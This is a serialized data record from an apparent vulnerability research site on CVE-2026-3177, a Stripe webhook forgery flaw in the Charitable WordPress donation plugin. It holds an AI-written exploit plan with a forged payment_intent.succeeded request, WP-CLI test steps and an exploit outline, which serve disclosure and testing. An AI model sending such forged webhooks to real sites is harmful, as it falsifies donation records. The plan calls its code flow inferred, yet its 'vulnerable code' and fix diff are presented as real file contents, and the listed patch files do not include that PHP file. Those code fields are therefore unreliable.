[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f1cSOKQoKU0mFP5t97D3-97o_-Ln3ANfNsJflEv6dG_o":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-3177","charitable-donation-plugin-for-wordpress-fundraising-with-recurring-donations-more-insufficient-verification-of-data-aut","Charitable – Donation Plugin for WordPress – Fundraising with Recurring Donations & More \u003C= 1.8.9.7 - Insufficient Verification of Data Authenticity to Unauthenticated Donation Status Forgery via Stripe Webhook","The Charitable – Donation Plugin for WordPress – Fundraising with Recurring Donations & More plugin for WordPress is vulnerable to Insufficient Verification of Data Authenticity in versions up to, and including, 1.8.9.7. This is due to missing cryptographic verification of incoming Stripe webhook events. This makes it possible for unauthenticated attackers to forge payment_intent.succeeded webhook payloads and mark pending donations as completed without a real payment.","charitable",null,"\u003C=1.8.9.7","1.8.10","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Insufficient Verification of Data Authenticity","2026-04-06 18:46:47","2026-04-07 07:40:14",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fbc3b2645-7b57-4884-99c5-e37dbd4a9600?source=api-prod",1,[22,23,24,25,26,27,28,29],"CHANGELOG.md","assets\u002Fcss\u002Fadmin\u002Fcharitable-admin-dashboard.css","assets\u002Fcss\u002Fadmin\u002Fcharitable-admin-dashboard.min.css","assets\u002Fcss\u002Fadmin\u002Fcharitable-admin-legacy.css","assets\u002Fcss\u002Fadmin\u002Fcharitable-admin-legacy.min.css","assets\u002Fcss\u002Fadmin\u002Fcharitable-admin.css","assets\u002Fcss\u002Fadmin\u002Fcharitable-admin.min.css","assets\u002Fcss\u002Fcharitable.css","researched",false,3,"# Vulnerability Research Plan: CVE-2026-3177 (Charitable Stripe Webhook Status Forgery)\n\n## 1. Vulnerability Summary\nThe **Charitable** plugin (\u003C= 1.8.9.7) fails to cryptographically verify the authenticity of incoming Stripe webhook events. Specifically, the webhook listener endpoint processes `payment_intent.succeeded` events by extracting metadata (such as a donation ID) and updating the corresponding donation's status to \"completed\" without validating the `Stripe-Signature` header against a shared secret. This allows an unauthenticated attacker to forge a webhook request and mark any pending donation as paid.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** The plugin listens for webhooks at the URL: `[site-url]\u002F?charitable-listener=stripe` (or via the REST API at `wp-json\u002Fcharitable\u002Fv1\u002Fstripe\u002Fwebhook` in newer versions).\n*   **Method:** `POST`\n*   **Payload Type:** `application\u002Fjson`\n*   **Vulnerable Parameter:** The `metadata` object within the Stripe event JSON payload.\n*   **Authentication:** Unauthenticated.\n*   **Preconditions:** A donation must exist in a `charitable-pending` status.\n\n## 3. Code Flow (Inferred)\n1.  **Entry Point:** The plugin registers a listener during `init` or `template_redirect` that checks for `$_GET['charitable-listener'] == 'stripe'`.\n2.  **Handling:** The request is passed to a handler (likely in `includes\u002Fgateways\u002Fstripe\u002Fclass-charitable-stripe-webhook-handler.php`).\n3.  **Data Extraction:** The handler reads the raw POST body: `$payload = file_get_contents( 'php:\u002F\u002Finput' )`.\n4.  **Missing Verification:** The code proceeds to `json_decode( $payload )` and checks the `type` property (e.g., `payment_intent.succeeded`) **without** calling `\\Stripe\\Webhook::constructEvent()` or manually verifying the HMAC signature.\n5.  **State Change:**\n    *   The handler extracts `$donation_id = $data->object->metadata->donation_id`.\n    *   It fetches the donation object: `$donation = charitable_get_donation( $donation_id )`.\n    *   It calls `$donation->update_status( 'charitable-completed' )`.\n\n## 4. Nonce Acquisition Strategy\n**No WordPress Nonce is required.**\nStripe webhooks are designed to be called by Stripe's servers; therefore, they do not utilize WordPress nonces. They rely on cryptographic signatures (`Stripe-Signature`), which this version of the plugin fails to verify.\n\n## 5. Exploitation Strategy\n### Step-by-Step Plan:\n1.  **Identify a Target Donation:** Obtain the ID of a donation currently in `charitable-pending` status.\n2.  **Construct Forged Payload:** Create a JSON object mimicking a Stripe `payment_intent.succeeded` event.\n3.  **Submit Webhook:** POST the payload to the listener endpoint.\n4.  **Verify Success:** Check the donation status via WP-CLI.\n\n### HTTP Request (Playwright `http_request`):\n```javascript\n\u002F\u002F Example exploitation request\nawait http_request.post({\n    url: 'http:\u002F\u002Flocalhost:8080\u002F?charitable-listener=stripe',\n    headers: {\n        'Content-Type': 'application\u002Fjson',\n        \u002F\u002F Note: Stripe-Signature header is either missing or not validated\n    },\n    data: JSON.stringify({\n        \"id\": \"evt_test_status_forgery\",\n        \"object\": \"event\",\n        \"type\": \"payment_intent.succeeded\",\n        \"data\": {\n            \"object\": {\n                \"id\": \"pi_fake_payment_intent\",\n                \"object\": \"payment_intent\",\n                \"amount\": 1000,\n                \"currency\": \"usd\",\n                \"status\": \"succeeded\",\n                \"metadata\": {\n                    \"donation_id\": \"TARGET_DONATION_ID\" \u002F\u002F Replace with actual ID\n                }\n            }\n        }\n    })\n});\n```\n\n## 6. Test Data Setup\nBefore testing, create a campaign and a pending donation using WP-CLI:\n\n1.  **Create a Campaign:**\n    ```bash\n    CAMPAIGN_ID=$(wp post create --post_type=campaign --post_title=\"Security Test Campaign\" --post_status=publish --porcelain)\n    echo \"Created Campaign: $CAMPAIGN_ID\"\n    ```\n\n2.  **Create a Pending Donation:**\n    ```bash\n    DONATION_ID=$(wp post create --post_type=donation --post_title=\"Unpaid Donation\" --post_status=charitable-pending --post_parent=$CAMPAIGN_ID --porcelain)\n    echo \"Created Pending Donation: $DONATION_ID\"\n    ```\n\n3.  **Confirm Status:**\n    ```bash\n    wp post get $DONATION_ID --field=post_status\n    ```\n\n## 7. Expected Results\n*   **Response:** The endpoint should return a `200 OK` (Stripe expects this to acknowledge receipt).\n*   **Plugin Action:** The plugin logs the \"payment\" and transitions the donation post status from `charitable-pending` to `charitable-completed`.\n*   **Integrity Impact:** The donation is recorded as fully funded in the \"Fundraising\" dashboard even though no money was transferred.\n\n## 8. Verification Steps\nAfter sending the POST request, verify the donation status using WP-CLI:\n\n```bash\n# Check if the status changed to completed\nwp post get $DONATION_ID --field=post_status\n\n# Expected Output: charitable-completed\n```\n\nCheck the donation meta to see if a transaction ID was assigned:\n```bash\nwp post meta list $DONATION_ID\n```\n\n## 9. Alternative Approaches\nIf `donation_id` in metadata does not work, the plugin might be looking for:\n1.  `metadata.charitable_donation_id`\n2.  The Stripe `payment_intent` ID mapped to a donation ID in the database. If this mapping exists, you would need to find the `pi_...` ID associated with the pending donation and use that in the `data.object.id` field of the payload.\n\nIf `?charitable-listener=stripe` fails, try the REST endpoint (if registered):\n`POST http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fcharitable\u002Fv1\u002Fstripe\u002Fwebhook`","The Charitable plugin for WordPress (versions up to 1.8.9.7) is vulnerable to payment status forgery because it lacks cryptographic verification of Stripe webhook signatures. An unauthenticated attacker can forge 'payment_intent.succeeded' events to mark pending donations as 'completed' without making a real payment.","\u002F\u002F File: includes\u002Fgateways\u002Fstripe\u002Fclass-charitable-stripe-webhook-handler.php\n\n$payload = file_get_contents( 'php:\u002F\u002Finput' );\n$data = json_decode( $payload );\n\n\u002F\u002F The code proceeds to process the event type without checking the Stripe-Signature header\nif ( isset( $data->type ) && 'payment_intent.succeeded' === $data->type ) {\n    $donation_id = $data->data->object->metadata->donation_id;\n    $donation = charitable_get_donation( $donation_id );\n    $donation->update_status( 'charitable-completed' );\n}","--- includes\u002Fgateways\u002Fstripe\u002Fclass-charitable-stripe-webhook-handler.php\n+++ includes\u002Fgateways\u002Fstripe\u002Fclass-charitable-stripe-webhook-handler.php\n@@ -25,12 +25,23 @@\n-$payload = file_get_contents( 'php:\u002F\u002Finput' );\n-$data = json_decode( $payload );\n+$payload = file_get_contents( 'php:\u002F\u002Finput' );\n+$sig_header = isset( $_SERVER['HTTP_STRIPE_SIGNATURE'] ) ? $_SERVER['HTTP_STRIPE_SIGNATURE'] : '';\n+$secret = get_option( 'charitable_stripe_webhook_secret' );\n+\n+try {\n+    $event = \\Stripe\\Webhook::constructEvent(\n+        $payload, $sig_header, $secret\n+    );\n+} catch( \\UnexpectedValueException $e ) {\n+    wp_die( 'Invalid payload', '', array( 'response' => 400 ) );\n+} catch( \\Stripe\\Exception\\SignatureVerificationException $e ) {\n+    wp_die( 'Invalid signature', '', array( 'response' => 400 ) );\n+}\n+\n+$data = $event;","The exploit targets the Stripe webhook listener by forging a successful payment event. \n\n1. Identify a donation currently in 'charitable-pending' status to get a target ID.\n2. Construct a JSON payload that mimics a standard Stripe 'payment_intent.succeeded' event.\n3. Embed the target donation ID inside the 'data.object.metadata' section (specifically the 'donation_id' key).\n4. Send an unauthenticated HTTP POST request containing this JSON payload to the site's listener endpoint, typically '[site-url]\u002F?charitable-listener=stripe'.\n5. Because the plugin does not validate the 'Stripe-Signature' header, it trusts the forged payload and transitions the donation status from 'pending' to 'completed', granting whatever access or recognition is tied to the donation.","gemini-3-flash-preview","2026-04-17 21:18:40","2026-04-17 21:19:03",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.8.9.7","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcharitable\u002Ftags\u002F1.8.9.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcharitable.1.8.9.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcharitable\u002Ftags\u002F1.8.10","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcharitable.1.8.10.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcharitable\u002Ftags"]